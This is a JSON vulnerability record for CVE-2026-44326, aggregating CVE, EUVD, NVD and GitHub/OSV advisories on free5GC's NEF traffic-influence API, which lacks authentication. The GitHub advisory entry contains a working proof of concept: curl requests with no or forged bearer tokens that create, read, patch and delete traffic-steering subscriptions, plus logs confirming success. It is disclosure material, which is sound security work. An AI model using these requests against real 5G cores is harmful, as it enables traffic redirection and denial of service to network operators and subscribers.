{"id":"CVE-2026-44326","revision":null,"records":[{"revision":"3189c57807cb44988680ebefbfde7fd5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44326","aliases":[],"title":"free5GC: NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T15:41:38.82+00:00","modifiedAt":"2026-05-27T17:53:01.419+00:00","affected":[{"ecosystem":"Vendor product","name":"free5gc","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"free5gc\",\n                    \"product\": \"free5gc\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.2.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp","https://github.com/free5gc/free5gc/issues/859","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44326","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44326","identifiers":["CVE-2026-44326"]},"retained":false,"historicalAffected":[]},{"revision":"6eded57ad6ee4936aef4bfc6c46d9c88","observedAt":"2026-11-09T11:03:50.185+00:00","statement":{"source":"euvd","id":"EUVD-2026-32572","aliases":["CVE-2026-44326","GHSA-3p28-73q7-45xp"],"title":"free5GC is an open-source implementation of the 5G core network. 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This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":null}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp","https://github.com/free5gc/free5gc/issues/859","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32572","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 3:41:38 PM","dateUpdated":"May 27, 2026, 5:53:01 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32572","identifiers":["EUVD-2026-32572","CVE-2026-44326","GHSA-3p28-73q7-45xp"]},"retained":false,"historicalAffected":[]},{"revision":"d6eaf5723b164a0888a7d31d54761de2","observedAt":"2026-10-25T10:17:21.823+00:00","statement":{"source":"nvd","id":"CVE-2026-44326","aliases":[],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can crea…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T17:16:38.053+00:00","modifiedAt":"2026-10-14T20:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/issues/859","https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp","https://github.com/free5gc/nef/pull/23"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44326","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-862"],"productCriteria":["cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-27T17:16:38.053","lastModified":"2026-10-14T20:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44326","identifiers":["CVE-2026-44326"]},"retained":false,"historicalAffected":[]},{"revision":"954c6a65511b4ae786c1c47a2c8e2106","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-3p28-73q7-45xp","aliases":["CVE-2026-44326","GO-2026-5093"],"title":"free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions","description":"### Summary\nfree5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed.\n\nThis is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.\n\n### Details\nValidated against the NEF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nef:v4.2.0`\n- Runtime NEF commit: `5ce35eab`\n- Docker validation date: 2026-03-11\n\nNEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware.\n\nCode evidence (paths in `free5gc/nef`):\n- Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48`\n- CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13`\n- POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50`\n- PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279`\n- DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355`\n- NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153`\n- Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126`\n\n### PoC\nReproduced end-to-end against the running NEF at `http://10.100.200.19:8000`.\n\n1. CREATE subscription with NO `Authorization` header at all -> `201 Created`:\n```\ncurl -i \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afServiceId\":\"svc-noauth\",\"afAppId\":\"app-noauth\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.40 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-noauth\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.1\",\"portNumber\":0}}]}' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions\n```\n\n2. CREATE second subscription with FORGED bearer token -> `201 Created`:\n```\ncurl -i \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"afServiceId\":\"svc-high\",\"afAppId\":\"app-high\",\"dnn\":\"internet\",\"snssai\":{\"sst\":1,\"sd\":\"010203\"},\"anyUeInd\":true,\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc\",\"routeInfo\":{\"ipv4Addr\":\"10.60.0.2\",\"portNumber\":0}}]}' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions\n```\n\n3. READ with forged token -> `200 OK`:\n```\ncurl -i -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\n4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed):\n```\ncurl -i -X PATCH \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"trafficFilters\":[{\"flowId\":1,\"flowDescriptions\":[\"permit out ip from 192.0.2.20 to 198.51.100.0/24\"]}],\"trafficRoutes\":[{\"dnai\":\"mec-poc-updated\"}]}' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\n5. DELETE with forged token -> `204 No Content`:\n```\ncurl -i -X DELETE \\\n  -H 'Authorization: Bearer not-a-real-token' \\\n  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n```\n\nNEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):\n```\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]\n[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-high/subscriptions\n[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 500 | PATCH  | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 200 | GET    | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]\n[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1\n[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]\n[INFO][NEF][GIN] | 201 | POST   | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions\n```\n\n### Impact\nMissing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:\n- Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.\n- Read existing AF subscriptions, leaking traffic-steering policy data.\n- Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs.\n- Delete subscriptions, denying service to legitimately provisioned traffic influence.\n\nThe traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/859\nUpstream fix: https://github.com/free5gc/nef/pull/23","state":0,"publishedAt":"2026-05-08T22:58:59+00:00","modifiedAt":"2026-06-25T18:56:27.8182202+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.2.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp","https://nvd.nist.gov/vuln/detail/CVE-2026-44326","https://github.com/free5gc/free5gc/issues/859","https://github.com/free5gc/nef/pull/23","https://github.com/free5gc/free5gc"],"sourceUrl":"https://github.com/advisories/GHSA-3p28-73q7-45xp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3p28-73q7-45xp","identifiers":["GHSA-3p28-73q7-45xp","CVE-2026-44326","GO-2026-5093"]},"retained":false,"historicalAffected":[]},{"revision":"5cb6f4c124084c04881b7d3ed34d111e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5093","aliases":["CVE-2026-44326","GHSA-3p28-73q7-45xp"],"title":"free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions in github.com/free5gc/nef","description":"free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions in github.com/free5gc/nef","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:19.5373411+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/nef","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-3p28-73q7-45xp","https://nvd.nist.gov/vuln/detail/CVE-2026-44326","https://github.com/free5gc/nef/pull/23","https://github.com/free5gc/free5gc/issues/859"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5093","license":"OSV · upstream source license applies","key":"osv:GO-2026-5093","identifiers":["GO-2026-5093","CVE-2026-44326","GHSA-3p28-73q7-45xp"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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